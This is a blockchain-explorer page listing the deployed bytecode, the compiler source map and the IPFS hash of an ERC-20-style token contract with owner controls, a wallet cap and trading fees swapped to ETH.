0x6080604052600436106101445760003560e01c806370a08231116100b6578063a9059cbb1161006f578063a9059cbb1461038d578063c816841b146103ad578063dd62ed3e146103cd578063e7f1bfcb14610413578063f2fde38b14610434578063f8b45b051461045457600080fd5b806370a08231146102c0578063715018a6146102f6578063735de9f71461030d578063751039fc146103455780638da5cb5b1461035a57806395d89b411461037857600080fd5b806323b872dd1161010857806323b872dd1461021b578063313ce5671461023b57806340b9a54b1461025d578063590f897e1461027357806359eedafd146102895780635e7b655c146102aa57600080fd5b806306fdde0314610150578063095ea7b31461017b5780630b285b1f146101ab5780631732cded146101db57806318160ddd146101fc57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5061016561046a565b6040516101729190610ff6565b60405180910390f35b34801561018757600080fd5b5061019b61019636600461105c565b6104fc565b6040519015158152602001610172565b3480156101b757600080fd5b5061019b6101c6366004611088565b60076020526000908152604090205460ff1681565b3480156101e757600080fd5b5060115461019b90600160a81b900460ff1681565b34801561020857600080fd5b506004545b604051908152602001610172565b34801561022757600080fd5b5061019b6102363660046110a5565b610513565b34801561024757600080fd5b5060035460405160ff9091168152602001610172565b34801561026957600080fd5b5061020d600b5481565b34801561027f57600080fd5b5061020d600c5481565b34801561029557600080fd5b5060115461019b90600160b01b900460ff1681565b3480156102b657600080fd5b5061020d60135481565b3480156102cc57600080fd5b5061020d6102db366004611088565b6001600160a01b031660009081526005602052604090205490565b34801561030257600080fd5b5061030b61057c565b005b34801561031957600080fd5b5060105461032d906001600160a01b031681565b6040516001600160a01b039091168152602001610172565b34801561035157600080fd5b5061030b6105f9565b34801561036657600080fd5b506000546001600160a01b031661032d565b34801561038457600080fd5b5061016561063a565b34801561039957600080fd5b5061019b6103a836600461105c565b610649565b3480156103b957600080fd5b5060115461032d906001600160a01b031681565b3480156103d957600080fd5b5061020d6103e83660046110e6565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561041f57600080fd5b5060115461019b90600160a01b900460ff1681565b34801561044057600080fd5b5061030b61044f366004611088565b610656565b34801561046057600080fd5b5061020d60125481565b6060600180546104799061111f565b80601f01602080910402602001604051908101604052809291908181526020018280546104a59061111f565b80156104f25780601f106104c7576101008083540402835291602001916104f2565b820191906000526020600020905b8154815290600101906020018083116104d557829003601f168201915b5050505050905090565b6000610509338484610740565b5060015b92915050565b6000610520848484610801565b610572843361056d856040518060600160405280602881526020016112c7602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610b86565b610740565b5060019392505050565b6000546001600160a01b031633146105af5760405162461bcd60e51b81526004016105a690611159565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106235760405162461bcd60e51b81526004016105a690611159565b60001960125560c8600a556001600b819055600c55565b6060600280546104799061111f565b6000610509338484610801565b6000546001600160a01b031633146106805760405162461bcd60e51b81526004016105a690611159565b6001600160a01b0381166106e55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105a6565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061076057506001600160a01b03821615155b6107a05760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016105a6565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b0383811691161480159061082d57506008546001600160a01b03838116911614155b801561084257506001600160a01b0382163014155b801561085c57506011546001600160a01b03838116911614155b801561087657506009546001600160a01b03838116911614155b801561089057506000546001600160a01b03848116911614155b1561091c576001600160a01b0382166000908152600560205260409020546012546108bb83836111a4565b111561091a5760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b60648201526084016105a6565b505b6001600160a01b0383161580159061093c57506001600160a01b03821615155b6109805760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b60448201526064016105a6565b600081116109de5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b60648201526084016105a6565b60095460ff600160a81b82048116600160a01b9092041610801590610a04575060135481115b8015610a1a5750601154600160a81b900460ff16155b8015610a3f57506001600160a01b03831660009081526007602052604090205460ff16155b8015610a5857506011546001600160a01b038381169116145b8015610a6d5750601154600160b01b900460ff165b15610aa0576009805460ff60a01b19169055306000908152600560205260409020548015610a9e57610a9e81610bb2565b505b6001600160a01b03831660009081526007602052604090205460019060ff1680610ae257506001600160a01b03831660009081526007602052604090205460ff165b80610b295750601154600160a01b900460ff168015610b0f57506011546001600160a01b03858116911614155b8015610b2957506011546001600160a01b03848116911614155b15610b3657506000610b74565b6011546001600160a01b0390811690851603610b5757600b54600a55610b74565b6011546001600160a01b0390811690841603610b7457600c54600a555b610b8084848484610bf7565b50505050565b60008184841115610baa5760405162461bcd60e51b81526004016105a69190610ff6565b505050900390565b6011805460ff60a81b1916600160a81b179055610bce81610c64565b6008544790610be6906001600160a01b031682610dbe565b50506011805460ff60a81b19169055565b80610c0957610c04610df9565b610c3d565b60098054600160a01b900460ff16906014610c23836111b7565b91906101000a81548160ff021916908360ff160217905550505b610c48848484610e3e565b80610b8057610b80600d54600a55600e54600b55600f54600c55565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610c9957610c996111d6565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610cf2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1691906111ec565b81600181518110610d2957610d296111d6565b6001600160a01b039283166020918202929092010152601054610d4f9130911684610740565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d88908590600090869030904290600401611209565b600060405180830381600087803b158015610da257600080fd5b505af1158015610db6573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610df4573d6000803e3d6000fd5b505050565b600a54158015610e095750600b54155b8015610e155750600c54155b15610e1c57565b600b8054600e55600c8054600f55600a8054600d556000928390559082905555565b600080610e4a83610f81565b6001600160a01b038716600090815260076020526040902054919350915060ff168015610e9157506012546001600160a01b03861660009081526005602052604090205411155b15610ea657506000610ea3828461127a565b92505b6001600160a01b038516600090815260056020526040902054610ec99084610fbf565b6001600160a01b038087166000908152600560205260408082209390935590861681522054610ef89083610fd2565b6001600160a01b038516600090815260056020526040808220929092553081522054610f249082610fd2565b3060009081526005602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b6000806000610fa66064610fa0600a5487610fde90919063ffffffff16565b90610fea565b90506000610fb48583610fbf565b959194509092505050565b6000610fcb828461127a565b9392505050565b6000610fcb82846111a4565b6000610fcb828461128d565b6000610fcb82846112a4565b600060208083528351808285015260005b8181101561102357858101830151858201604001528201611007565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461105957600080fd5b50565b6000806040838503121561106f57600080fd5b823561107a81611044565b946020939093013593505050565b60006020828403121561109a57600080fd5b8135610fcb81611044565b6000806000606084860312156110ba57600080fd5b83356110c581611044565b925060208401356110d581611044565b929592945050506040919091013590565b600080604083850312156110f957600080fd5b823561110481611044565b9150602083013561111481611044565b809150509250929050565b600181811c9082168061113357607f821691505b60208210810361115357634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561050d5761050d61118e565b600060ff821660ff81036111cd576111cd61118e565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156111fe57600080fd5b8151610fcb81611044565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156112595784516001600160a01b031683529383019391830191600101611234565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561050d5761050d61118e565b808202811582820484141761050d5761050d61118e565b6000826112c157634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122095dc6bc70c3759c429fff526dbe8253525c0e98b92a54ac086e90baf452f155064736f6c63430008130033

Deployed Bytecode Sourcemap

8167:8136:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10358:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12518:161;;;;;;;;;;-1:-1:-1;12518:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;12518:161:0;1023:187:1;8603:44:0;;;;;;;;;;-1:-1:-1;8603:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;9359:20;;;;;;;;;;-1:-1:-1;9359:20:0;;;;-1:-1:-1;;;9359:20:0;;;;;;10635:100;;;;;;;;;;-1:-1:-1;10715:12:0;;10635:100;;;1613:25:1;;;1601:2;1586:18;10635:100:0;1467:177:1;13785:313:0;;;;;;;;;;-1:-1:-1;13785:313:0;;;;;:::i;:::-;;:::i;10544:83::-;;;;;;;;;;-1:-1:-1;10610:9:0;;10544:83;;10610:9;;;;2252:36:1;;2240:2;2225:18;10544:83:0;2110:184:1;8967:27:0;;;;;;;;;;;;;;;;9001:28;;;;;;;;;;;;;;;;9386:33;;;;;;;;;;-1:-1:-1;9386:33:0;;;;-1:-1:-1;;;9386:33:0;;;;;;9486:54;;;;;;;;;;;;;;;;10743:119;;;;;;;;;;-1:-1:-1;10743:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;10836:18:0;10809:7;10836:18;;;:9;:18;;;;;;;10743:119;2026:148;;;;;;;;;;;;;:::i;:::-;;9236:37;;;;;;;;;;-1:-1:-1;9236:37:0;;;;-1:-1:-1;;;;;9236:37:0;;;;;;-1:-1:-1;;;;;2487:32:1;;;2469:51;;2457:2;2442:18;9236:37:0;2299:227:1;12344:162:0;;;;;;;;;;;;;:::i;1709:87::-;;;;;;;;;;-1:-1:-1;1755:7:0;1782:6;-1:-1:-1;;;;;1782:6:0;1709:87;;10449;;;;;;;;;;;;;:::i;10870:167::-;;;;;;;;;;-1:-1:-1;10870:167:0;;;;;:::i;:::-;;:::i;9280:26::-;;;;;;;;;;-1:-1:-1;9280:26:0;;;;-1:-1:-1;;;;;9280:26:0;;;11045:143;;;;;;;;;;-1:-1:-1;11045:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;11153:18:0;;;11126:7;11153:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;11045:143;9315:37;;;;;;;;;;-1:-1:-1;9315:37:0;;;;-1:-1:-1;;;9315:37:0;;;;;;2230:244;;;;;;;;;;-1:-1:-1;2230:244:0;;;;;:::i;:::-;;:::i;9428:51::-;;;;;;;;;;;;;;;;10358:83;10395:13;10428:5;10421:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10358:83;:::o;12518:161::-;12593:4;12610:39;1346:10;12633:7;12642:6;12610:8;:39::i;:::-;-1:-1:-1;12667:4:0;12518:161;;;;;:::o;13785:313::-;13883:4;13900:36;13910:6;13918:9;13929:6;13900:9;:36::i;:::-;13947:121;13956:6;1346:10;13978:89;14016:6;13978:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;13978:19:0;;;;;;:11;:19;;;;;;;;1346:10;13978:33;;;;;;;;;;:37;:89::i;:::-;13947:8;:121::i;:::-;-1:-1:-1;14086:4:0;13785:313;;;;;:::o;2026:148::-;1755:7;1782:6;-1:-1:-1;;;;;1782:6:0;1346:10;1894:23;1886:68;;;;-1:-1:-1;;;1886:68:0;;;;;;;:::i;:::-;;;;;;;;;2133:1:::1;2117:6:::0;;2096:40:::1;::::0;-1:-1:-1;;;;;2117:6:0;;::::1;::::0;2096:40:::1;::::0;2133:1;;2096:40:::1;2164:1;2147:19:::0;;-1:-1:-1;;;;;;2147:19:0::1;::::0;;2026:148::o;12344:162::-;1755:7;1782:6;-1:-1:-1;;;;;1782:6:0;1346:10;1894:23;1886:68;;;;-1:-1:-1;;;1886:68:0;;;;;;;:::i;:::-;-1:-1:-1;;12398:9:0::1;:23:::0;12450:3:::1;12432:15;:21:::0;12474:1:::1;12464:7;:11:::0;;;12486:8:::1;:12:::0;12344:162::o;10449:87::-;10488:13;10521:7;10514:14;;;;;:::i;10870:167::-;10948:4;10965:42;1346:10;10989:9;11000:6;10965:9;:42::i;2230:244::-;1755:7;1782:6;-1:-1:-1;;;;;1782:6:0;1346:10;1894:23;1886:68;;;;-1:-1:-1;;;1886:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2319:22:0;::::1;2311:73;;;::::0;-1:-1:-1;;;2311:73:0;;4080:2:1;2311:73:0::1;::::0;::::1;4062:21:1::0;4119:2;4099:18;;;4092:30;4158:34;4138:18;;;4131:62;-1:-1:-1;;;4209:18:1;;;4202:36;4255:19;;2311:73:0::1;3878:402:1::0;2311:73:0::1;2421:6;::::0;;2400:38:::1;::::0;-1:-1:-1;;;;;2400:38:0;;::::1;::::0;2421:6;::::1;::::0;2400:38:::1;::::0;::::1;2449:6;:17:::0;;-1:-1:-1;;;;;;2449:17:0::1;-1:-1:-1::0;;;;;2449:17:0;;;::::1;::::0;;;::::1;::::0;;2230:244::o;11688:266::-;-1:-1:-1;;;;;11783:19:0;;;;;;:44;;-1:-1:-1;;;;;;11806:21:0;;;;11783:44;11775:74;;;;-1:-1:-1;;;11775:74:0;;4487:2:1;11775:74:0;;;4469:21:1;4526:2;4506:18;;;4499:30;-1:-1:-1;;;4545:18:1;;;4538:47;4602:18;;11775:74:0;4285:341:1;11775:74:0;-1:-1:-1;;;;;11860:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;11912:32;;1613:25:1;;;11912:32:0;;1586:18:1;11912:32:0;;;;;;;11688:266;;;:::o;14722:1576::-;1755:7;1782:6;-1:-1:-1;;;;;14881:13:0;;;1782:6;;14881:13;;;;:46;;-1:-1:-1;14917:10:0;;-1:-1:-1;;;;;14911:16:0;;;14917:10;;14911:16;;14881:46;:82;;;;-1:-1:-1;;;;;;14944:19:0;;14958:4;14944:19;;14881:82;:116;;;;-1:-1:-1;14986:11:0;;-1:-1:-1;;;;;14980:17:0;;;14986:11;;14980:17;;14881:116;:143;;;;-1:-1:-1;15020:4:0;;-1:-1:-1;;;;;15014:10:0;;;15020:4;;15014:10;;14881:143;:175;;;;-1:-1:-1;1755:7:0;1782:6;-1:-1:-1;;;;;15041:15:0;;;1782:6;;15041:15;;14881:175;14877:359;;;-1:-1:-1;;;;;10836:18:0;;15074:22;10836:18;;;:9;:18;;;;;;15164:9;;15136:23;15153:6;10836:18;15136:23;:::i;:::-;15135:38;;15127:90;;;;-1:-1:-1;;;15127:90:0;;5095:2:1;15127:90:0;;;5077:21:1;5134:2;5114:18;;;5107:30;5173:34;5153:18;;;5146:62;-1:-1:-1;;;5224:18:1;;;5217:38;5272:19;;15127:90:0;4893:404:1;15127:90:0;15057:179;14877:359;-1:-1:-1;;;;;15256:18:0;;;;;;:38;;-1:-1:-1;;;;;;15278:16:0;;;;15256:38;15248:72;;;;-1:-1:-1;;;15248:72:0;;5504:2:1;15248:72:0;;;5486:21:1;5543:2;5523:18;;;5516:30;-1:-1:-1;;;5562:18:1;;;5555:51;5623:18;;15248:72:0;5302:345:1;15248:72:0;15348:1;15339:6;:10;15331:60;;;;-1:-1:-1;;;15331:60:0;;5854:2:1;15331:60:0;;;5836:21:1;5893:2;5873:18;;;5866:30;5932:34;5912:18;;;5905:62;-1:-1:-1;;;5983:18:1;;;5976:35;6028:19;;15331:60:0;5652:401:1;15331:60:0;15438:12;;;-1:-1:-1;;;15438:12:0;;;;-1:-1:-1;;;15421:13:0;;;;:29;;;;:72;;;15477:16;;15468:6;:25;15421:72;:98;;;;-1:-1:-1;15511:8:0;;-1:-1:-1;;;15511:8:0;;;;15510:9;15421:98;:133;;;;-1:-1:-1;;;;;;15537:17:0;;;;;;:11;:17;;;;;;;;15536:18;15421:133;:167;;;;-1:-1:-1;15577:11:0;;-1:-1:-1;;;;;15571:17:0;;;15577:11;;15571:17;15421:167;:198;;;;-1:-1:-1;15605:14:0;;-1:-1:-1;;;15605:14:0;;;;15421:198;15404:459;;;15662:13;:17;;-1:-1:-1;;;;15662:17:0;;;15743:4;-1:-1:-1;10836:18:0;;;:9;:18;;;;;;15767:24;;15764:88;;15807:30;15816:20;15807:8;:30::i;:::-;15645:218;15404:459;-1:-1:-1;;;;;15927:17:0;;15883:12;15927:17;;;:11;:17;;;;;;15898:4;;15927:17;;;:36;;-1:-1:-1;;;;;;15948:15:0;;;;;;:11;:15;;;;;;;;15927:36;:104;;;-1:-1:-1;15968:18:0;;-1:-1:-1;;;15968:18:0;;;;:41;;;;-1:-1:-1;15998:11:0;;-1:-1:-1;;;;;15990:19:0;;;15998:11;;15990:19;;15968:41;:62;;;;-1:-1:-1;16019:11:0;;-1:-1:-1;;;;;16013:17:0;;;16019:11;;16013:17;;15968:62;15924:313;;;-1:-1:-1;16057:5:0;15924:313;;;16092:11;;-1:-1:-1;;;;;16092:11:0;;;16084:19;;;;16080:157;;16137:7;;16119:15;:25;16080:157;;;16172:11;;-1:-1:-1;;;;;16172:11:0;;;16166:17;;;;16162:75;;16217:8;;16199:15;:26;16162:75;16249:41;16267:4;16272:2;16275:6;16282:7;16249:17;:41::i;:::-;14825:1473;14722:1576;;;:::o;2947:206::-;3033:7;3094:12;3086:6;;;;3078:29;;;;-1:-1:-1;;;3078:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;3129:5:0;;;2947:206::o;12087:212::-;9789:8;:15;;-1:-1:-1;;;;9789:15:0;-1:-1:-1;;;9789:15:0;;;12166:29:::1;12174:20:::0;12166:7:::1;:29::i;:::-;12268:10;::::0;12228:21:::1;::::0;12260:31:::1;::::0;-1:-1:-1;;;;;12268:10:0::1;12228:21:::0;12260:7:::1;:31::i;:::-;-1:-1:-1::0;;9827:8:0;:16;;-1:-1:-1;;;;9827:16:0;;;12087:212::o;12687:356::-;12815:7;12811:101;;12838:14;:12;:14::i;:::-;12811:101;;;12885:13;:15;;-1:-1:-1;;;12885:15:0;;;;;:13;:15;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;12811:101;12922:41;12937:6;12945:9;12956:6;12922:14;:41::i;:::-;12988:7;12984:52;;13012:12;11577:17;;11559:15;:35;11615:15;;11605:7;:25;11653:16;;11642:8;:27;11518:162;13320:457;13401:16;;;13415:1;13401:16;;;;;;;;13377:21;;13401:16;;;;;;;;;;-1:-1:-1;13401:16:0;13377:40;;13446:4;13428;13433:1;13428:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13428:23:0;;;:7;;;;;;;;;;:23;;;;13472:13;;:20;;;-1:-1:-1;;;13472:20:0;;;;:13;;;;;:18;;:20;;;;;13428:7;;13472:20;;;;;:13;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13462:4;13467:1;13462:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13462:30:0;;;:7;;;;;;;;;:30;13535:13;;13503:60;;13520:4;;13535:13;13551:11;13503:8;:60::i;:::-;13574:13;;:195;;-1:-1:-1;;;13574:195:0;;-1:-1:-1;;;;;13574:13:0;;;;:64;;:195;;13653:11;;13574:13;;13696:4;;13723;;13743:15;;13574:195;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13366:411;13320:457;:::o;11962:111::-;12040:25;;-1:-1:-1;;;;;12040:17:0;;;:25;;;;;12058:6;;12040:25;;;;12058:6;12040:17;:25;;;;;;;;;;;;;;;;;;;;;11962:111;;:::o;11196:314::-;11242:15;;:20;:36;;;;-1:-1:-1;11266:7:0;;:12;11242:36;:53;;;;-1:-1:-1;11282:8:0;;:13;11242:53;11239:65;;;11196:314::o;11239:65::-;11334:7;;;11316:15;:25;11372:8;;;11353:16;:27;11412:15;;;11392:17;:35;-1:-1:-1;11438:11:0;;;;11460:12;;;;11483:19;11196:314::o;14110:604::-;14220:23;14245:12;14261:25;14274:11;14261:12;:25::i;:::-;-1:-1:-1;;;;;14300:19:0;;;;;;:11;:19;;;;;;14219:67;;-1:-1:-1;14219:67:0;-1:-1:-1;14300:19:0;;:53;;;;-1:-1:-1;14344:9:0;;-1:-1:-1;;;;;14323:17:0;;;;;;:9;:17;;;;;;:30;;14300:53;14297:138;;;-1:-1:-1;14377:1:0;14393:30;14408:15;14393:30;;:::i;:::-;;;14297:138;-1:-1:-1;;;;;14465:17:0;;;;;;:9;:17;;;;;;:34;;14487:11;14465:21;:34::i;:::-;-1:-1:-1;;;;;14445:17:0;;;;;;;:9;:17;;;;;;:54;;;;14533:20;;;;;;;:41;;14558:15;14533:24;:41::i;:::-;-1:-1:-1;;;;;14510:20:0;;;;;;:9;:20;;;;;;:64;;;;14630:4;14612:24;;;;:34;;14641:4;14612:28;:34::i;:::-;14603:4;14585:24;;;;:9;:24;;;;;;;;;:61;;;;14662:44;1613:25:1;;;-1:-1:-1;;;;;14662:44:0;;;;;;;;;;1586:18:1;14662:44:0;;;;;;;14198:516;;14110:604;;;:::o;13055:257::-;13120:7;13129;13149:12;13164:41;13201:3;13164:32;13180:15;;13164:11;:15;;:32;;;;:::i;:::-;:36;;:41::i;:::-;13149:56;-1:-1:-1;13216:23:0;13242:21;:11;13149:56;13242:15;:21::i;:::-;13216:47;13299:4;;-1:-1:-1;13055:257:0;;-1:-1:-1;;;13055:257:0:o;2625:98::-;2683:7;2710:5;2714:1;2710;:5;:::i;:::-;2703:12;2625:98;-1:-1:-1;;;2625:98:0:o;2519:::-;2577:7;2604:5;2608:1;2604;:5;:::i;2731:98::-;2789:7;2816:5;2820:1;2816;:5;:::i;2841:98::-;2899:7;2926:5;2930:1;2926;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1215:247::-;1274:6;1327:2;1315:9;1306:7;1302:23;1298:32;1295:52;;;1343:1;1340;1333:12;1295:52;1382:9;1369:23;1401:31;1426:5;1401:31;:::i;1649:456::-;1726:6;1734;1742;1795:2;1783:9;1774:7;1770:23;1766:32;1763:52;;;1811:1;1808;1801:12;1763:52;1850:9;1837:23;1869:31;1894:5;1869:31;:::i;:::-;1919:5;-1:-1:-1;1976:2:1;1961:18;;1948:32;1989:33;1948:32;1989:33;:::i;:::-;1649:456;;2041:7;;-1:-1:-1;;;2095:2:1;2080:18;;;;2067:32;;1649:456::o;2739:388::-;2807:6;2815;2868:2;2856:9;2847:7;2843:23;2839:32;2836:52;;;2884:1;2881;2874:12;2836:52;2923:9;2910:23;2942:31;2967:5;2942:31;:::i;:::-;2992:5;-1:-1:-1;3049:2:1;3034:18;;3021:32;3062:33;3021:32;3062:33;:::i;:::-;3114:7;3104:17;;;2739:388;;;;;:::o;3132:380::-;3211:1;3207:12;;;;3254;;;3275:61;;3329:4;3321:6;3317:17;3307:27;;3275:61;3382:2;3374:6;3371:14;3351:18;3348:38;3345:161;;3428:10;3423:3;3419:20;3416:1;3409:31;3463:4;3460:1;3453:15;3491:4;3488:1;3481:15;3345:161;;3132:380;;;:::o;3517:356::-;3719:2;3701:21;;;3738:18;;;3731:30;3797:34;3792:2;3777:18;;3770:62;3864:2;3849:18;;3517:356::o;4631:127::-;4692:10;4687:3;4683:20;4680:1;4673:31;4723:4;4720:1;4713:15;4747:4;4744:1;4737:15;4763:125;4828:9;;;4849:10;;;4846:36;;;4862:18;;:::i;6058:175::-;6095:3;6139:4;6132:5;6128:16;6168:4;6159:7;6156:17;6153:43;;6176:18;;:::i;:::-;6225:1;6212:15;;6058:175;-1:-1:-1;;6058:175:1:o;6370:127::-;6431:10;6426:3;6422:20;6419:1;6412:31;6462:4;6459:1;6452:15;6486:4;6483:1;6476:15;6502:251;6572:6;6625:2;6613:9;6604:7;6600:23;6596:32;6593:52;;;6641:1;6638;6631:12;6593:52;6673:9;6667:16;6692:31;6717:5;6692:31;:::i;6758:980::-;7020:4;7068:3;7057:9;7053:19;7099:6;7088:9;7081:25;7125:2;7163:6;7158:2;7147:9;7143:18;7136:34;7206:3;7201:2;7190:9;7186:18;7179:31;7230:6;7265;7259:13;7296:6;7288;7281:22;7334:3;7323:9;7319:19;7312:26;;7373:2;7365:6;7361:15;7347:29;;7394:1;7404:195;7418:6;7415:1;7412:13;7404:195;;;7483:13;;-1:-1:-1;;;;;7479:39:1;7467:52;;7574:15;;;;7539:12;;;;7515:1;7433:9;7404:195;;;-1:-1:-1;;;;;;;7655:32:1;;;;7650:2;7635:18;;7628:60;-1:-1:-1;;;7719:3:1;7704:19;7697:35;7616:3;6758:980;-1:-1:-1;;;6758:980:1:o;7743:128::-;7810:9;;;7831:11;;;7828:37;;;7845:18;;:::i;7876:168::-;7949:9;;;7980;;7997:15;;;7991:22;;7977:37;7967:71;;8018:18;;:::i;8049:217::-;8089:1;8115;8105:132;;8159:10;8154:3;8150:20;8147:1;8140:31;8194:4;8191:1;8184:15;8222:4;8219:1;8212:15;8105:132;-1:-1:-1;8251:9:1;;8049:217::o

Swarm Source

ipfs://95dc6bc70c3759c429fff526dbe8253525c0e98b92a54ac086e90baf452f1550
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.